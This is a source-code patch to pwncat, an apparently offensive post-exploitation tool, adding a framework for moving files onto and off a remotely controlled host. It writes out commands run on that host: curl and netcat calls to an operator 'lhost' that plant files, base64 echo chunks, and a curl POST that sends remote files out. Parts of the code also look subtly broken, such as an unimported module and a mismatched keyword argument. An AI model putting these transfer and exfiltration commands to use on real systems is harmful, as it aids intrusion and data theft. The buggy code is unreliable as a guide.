From edf478b93d1ef4c8a077332b9c46283aad908007 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Thu, 7 May 2020 16:50:46 -0400 Subject: [PATCH] Added working uploader framework --- pwncat/downloader/__init__.py | 8 +- pwncat/downloader/curl.py | 2 +- pwncat/pty.py | 67 +++----------- pwncat/uploader/__init__.py | 38 ++++++++ pwncat/uploader/base.py | 160 ++++++++++++++++++++++++++++++++++ pwncat/uploader/curl.py | 21 +++++ pwncat/uploader/nc.py | 21 +++++ pwncat/uploader/shell.py | 39 +++++++++ 8 files changed, 298 insertions(+), 58 deletions(-) create mode 100644 pwncat/uploader/__init__.py create mode 100644 pwncat/uploader/base.py create mode 100644 pwncat/uploader/curl.py create mode 100644 pwncat/uploader/nc.py create mode 100644 pwncat/uploader/shell.py diff --git a/pwncat/downloader/__init__.py b/pwncat/downloader/__init__.py index c983434..fd38d48 100644 --- a/pwncat/downloader/__init__.py +++ b/pwncat/downloader/__init__.py @@ -15,20 +15,20 @@ def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]: """ Locate an applicable downloader """ if hint is not None: - """ Try to return the requested downloader """ + # Try to return the requested downloader for d in all_downloaders: if d.NAME != hint: continue d.check(pty) return d - else: - raise DownloadError(f"{hint}: no such downloader") + + raise DownloadError(f"{hint}: no such downloader") for d in downloaders: try: d.check(pty) return d - except DownloadError as e: + except DownloadError: continue try: diff --git a/pwncat/downloader/curl.py b/pwncat/downloader/curl.py index 5e854f4..c202712 100644 --- a/pwncat/downloader/curl.py +++ b/pwncat/downloader/curl.py @@ -18,4 +18,4 @@ class CurlDownloader(HTTPDownloader): curl = self.pty.which("curl") remote_path = shlex.quote(self.remote_path) - self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}") + self.pty.run(f"{curl} -X POST --data @{remote_path} http://{lhost}:{lport}") diff --git a/pwncat/pty.py b/pwncat/pty.py index beedca0..684c756 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -13,7 +13,7 @@ import sys import os from pwncat import util -from pwncat import downloader +from pwncat import downloader, uploader class State(enum.Enum): @@ -317,18 +317,10 @@ class PtyHandler: def do_upload(self, argv): """ Upload a file to the remote host """ - downloaders = { - "curl": ("http", "curl --output {outfile} http://{lhost}:{lport}/{lfile}"), - "wget": ("http", "wget -O {outfile} http://{lhost}:{lport}/{lfile}"), - "nc": ("raw", "nc {lhost} {lport} > {outfile}"), - } - servers = {"http": util.serve_http_file, "raw": util.serve_raw_file} - parser = argparse.ArgumentParser(prog="upload") parser.add_argument( "--method", "-m", - choices=downloaders.keys(), default=None, help="set the download method (default: auto)", ) @@ -346,36 +338,25 @@ class PtyHandler: # The arguments were parsed incorrectly, return. return - if self.vars.get("lhost", None) is None: - util.error("[!] you must provide an lhost address for reverse connections!") - return - if not os.path.isfile(args.path): - util.error(f"[!] {args.path}: no such file or directory") + util.error(f"{args.path}: no such file or directory") return - if args.method is not None and args.method not in self.known_binaries: - util.error(f"{args.method}: method unavailable") - elif args.method is not None: - method = downloaders[args.method] - else: - method = None - for m, info in downloaders.items(): - if m in self.known_binaries: - util.info("uploading via {m}") - method = info - break - else: - util.warn( - "no available upload methods. falling back to echo/base64 method" - ) + try: + # Locate an appropriate downloader class + UploaderClass = uploader.find(self, args.method) + except uploader.UploadError as exc: + util.error(f"{exc}") + return path = args.path basename = os.path.basename(args.path) name = basename outfile = args.output.format(basename=basename) - with ProgressBar("uploading") as pb: + upload = UploaderClass(self, remote_path=outfile, local_path=path) + + with ProgressBar(f"uploading via {upload.NAME}") as pb: counter = pb(range(os.path.getsize(path))) last_update = time.time() @@ -389,27 +370,8 @@ class PtyHandler: if (time.time() - last_update) > 0.1: pb.invalidate() - if method is not None: - server = servers[method[0]](path, name, progress=on_progress) - - command = method[1].format( - outfile=shlex.quote(outfile), - lhost=self.vars["lhost"], - lfile=name, - lport=server.server_address[1], - ) - - result = self.run(command, wait=False) - else: - server = None - with open(path, "rb") as fp: - self.run(f"echo -n > {outfile}") - copied = 0 - for chunk in iter(lambda: fp.read(8192), b""): - encoded = base64.b64encode(chunk).decode("utf-8") - self.run(f"echo -n {encoded} | base64 -d >> {outfile}") - copied += len(chunk) - on_progress(copied, len(chunk)) + upload.serve(on_progress) + upload.command() try: while not counter.done: @@ -417,8 +379,7 @@ class PtyHandler: except KeyboardInterrupt: pass finally: - if server is not None: - server.shutdown() + upload.shutdown() # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964 time.sleep(0.1) diff --git a/pwncat/uploader/__init__.py b/pwncat/uploader/__init__.py new file mode 100644 index 0000000..1dc54a6 --- /dev/null +++ b/pwncat/uploader/__init__.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 +from typing import Type + +from pwncat.uploader.base import Uploader, UploadError +from pwncat.uploader.nc import NetcatUploader +from pwncat.uploader.curl import CurlUploader +from pwncat.uploader.shell import ShellUploader + +all_uploaders = [NetcatUploader, CurlUploader, ShellUploader] +uploaders = [NetcatUploader, CurlUploader] +fallback = ShellUploader + + +def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]: + """ Locate an applicable uploader """ + + if hint is not None: + # Try to return the requested uploader + for d in all_uploaders: + if d.NAME != hint: + continue + d.check(pty) + return d + + raise UploadError(f"{hint}: no such uploader") + + for d in uploaders: + try: + d.check(pty) + return d + except UploadError: + continue + + try: + fallback.check(pty) + return fallback + except: + raise UploadError("no acceptable uploaders found") diff --git a/pwncat/uploader/base.py b/pwncat/uploader/base.py new file mode 100644 index 0000000..4c44548 --- /dev/null +++ b/pwncat/uploader/base.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +from typing import Generator, Callable +from http.server import BaseHTTPRequestHandler, HTTPServer +from socketserver import TCPServer, BaseRequestHandler +from functools import partial +import threading +import socket + +from pwncat import util + + +class UploadError(Exception): + """ An error occurred while attempting to run a uploader """ + + +class Uploader: + + # Binaries which are needed on the remote host for this uploader + BINARIES = [] + + @classmethod + def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: + """ Check if the given PTY connection can support this uploader """ + for binary in cls.BINARIES: + if pty.which(binary) is None: + raise UploadError(f"required remote binary not found: {binary}") + + def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str): + self.pty = pty + self.local_path = local_path + self.remote_path = remote_path + + def command(self) -> Generator[str, None, None]: + """ Generate the commands needed to send this file. This is a + generator, which yields strings which will be executed on the remote + host. """ + return + + def serve(self, on_progress: Callable): + """ Start any servers on the local end which are needed to download the + content. """ + return + + def shutdown(self): + """ Shutdown any attacker servers that were started """ + return + + +class HttpGetFileHandler(BaseHTTPRequestHandler): + def __init__( + self, request, addr, server, uploader: "HTTPUploader", on_progress: Callable + ): + self.uploader = uploader + self.on_progress = on_progress + super(HttpGetFileHandler, self).__init__(request, addr, server) + + def do_GET(self): + """ handle http POST request """ + + if self.path != "/": + self.send_error(404) + return + + length = os.path.getsize(self.uploader.local_path) + + self.send_response(200) + self.send_header("Content-Length", str(length)) + self.send_header("Content-Type", "application/octet-stream") + self.end_headers() + + with open(self.uploader.local_path, "rb") as filp: + util.copyfileobj(filp, self.wfile, self.on_progress) + + def log_message(self, *args, **kwargs): + return + + +class HTTPUploader(Uploader): + """ Base class for HTTP POST based downloaders. This takes care of setting + up the local HTTP server and saving the file. Just provide the commands + for the remote host to trigger the upload """ + + @classmethod + def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: + """ Make sure we have an lhost """ + if pty.vars.get("lhost", None) is None: + raise UploadError("no lhost provided") + + def __init__( + self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str, + ): + super(HTTPUploader, self).__init__(pty, remote_path, local_path) + self.server = None + + def serve(self, on_progress: Callable): + self.server = HTTPServer( + ("0.0.0.0", 0), + partial(HttpGetFileHandler, downloader=self, on_progress=on_progress), + ) + + thread = threading.Thread( + target=lambda: self.server.serve_forever(), daemon=True + ) + thread.start() + + def shutdown(self): + self.server.shutdown() + + +class RawUploader(Uploader): + """ Base class for raw socket based downloaders. This takes care of setting + up the socket server and saving the file. Just provide the commands to + initiate the raw socket transfer on the remote host to trigger the + upload """ + + @classmethod + def check(cls, pty: "pwncat.pty.PtyHandler") -> bool: + """ Make sure we have an lhost """ + if pty.vars.get("lhost", None) is None: + raise UploadError("no lhost provided") + + def __init__( + self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str, + ): + super(RawUploader, self).__init__(pty, remote_path, local_path) + self.server = None + + def serve(self, on_progress: Callable): + + # Make sure it is accessible to the subclass + local_path = self.local_path + + class SocketWrapper: + def __init__(self, sock): + self.s = sock + + def write(self, n: int): + try: + return self.s.sendall(n) + except socket.timeout: + return b"" + + # Class to handle incoming connections + class ReceiveFile(BaseRequestHandler): + def handle(self): + self.request.settimeout(1) + with open(local_path, "rb") as filp: + util.copyfileobj(filp, SocketWrapper(self.request), on_progress) + self.request.close() + + self.server = TCPServer(("0.0.0.0", 0), ReceiveFile) + + thread = threading.Thread( + target=lambda: self.server.serve_forever(), daemon=True + ) + thread.start() + + def shutdown(self): + """ Shutdown the server """ + self.server.shutdown() diff --git a/pwncat/uploader/curl.py b/pwncat/uploader/curl.py new file mode 100644 index 0000000..7d8d555 --- /dev/null +++ b/pwncat/uploader/curl.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 +from typing import Generator +import shlex + +from pwncat.uploader.base import HTTPUploader + + +class CurlUploader(HTTPUploader): + + NAME = "curl" + BINARIES = ["curl"] + + def command(self) -> Generator[str, None, None]: + """ Generate the curl command to post the file """ + + lhost = self.pty.vars["lhost"] + lport = self.server.server_address[1] + curl = self.pty.which("curl") + remote_path = shlex.quote(self.remote_path) + + self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}") diff --git a/pwncat/uploader/nc.py b/pwncat/uploader/nc.py new file mode 100644 index 0000000..32f9d8d --- /dev/null +++ b/pwncat/uploader/nc.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 +from typing import Generator +import shlex + +from pwncat.uploader.base import RawUploader + + +class NetcatUploader(RawUploader): + + NAME = "nc" + BINARIES = ["nc"] + + def command(self) -> Generator[str, None, None]: + """ Return the commands needed to trigger this download """ + + lhost = self.pty.vars["lhost"] + lport = self.server.server_address[1] + nc = self.pty.which("nc") + remote_file = shlex.quote(self.remote_path) + + self.pty.run(f"{nc} -q0 {lhost} {lport} > {remote_file}") diff --git a/pwncat/uploader/shell.py b/pwncat/uploader/shell.py new file mode 100644 index 0000000..222e71a --- /dev/null +++ b/pwncat/uploader/shell.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python3 +from typing import Generator, Callable +import base64 +import shlex + +from pwncat.uploader.base import Uploader, UploadError + + +class ShellUploader(Uploader): + + NAME = "shell" + BINARIES = ["base64"] + BLOCKSZ = 8192 + + def command(self) -> Generator[str, None, None]: + """ Yield list of commands to transfer the file """ + + remote_path = shlex.quote(self.remote_path) + + # Empty the file + self.pty.run(f"echo -n > {remote_path}") + + with open(self.local_path, "rb") as filp: + copied = 0 + for block in iter(lambda: filp.read(self.BLOCKSZ), b""): + + # Encode as a base64 string + encoded = base64.b64encode(block).decode("utf-8") + + # Read the data + self.pty.run(f"echo -n {encoded} | base64 -d >> {remote_path}") + + copied += len(block) + self.on_progress(copied, len(block)) + + def serve(self, on_progress: Callable): + """ We don't need to start a server, but we do need to save the + callback """ + self.on_progress = on_progress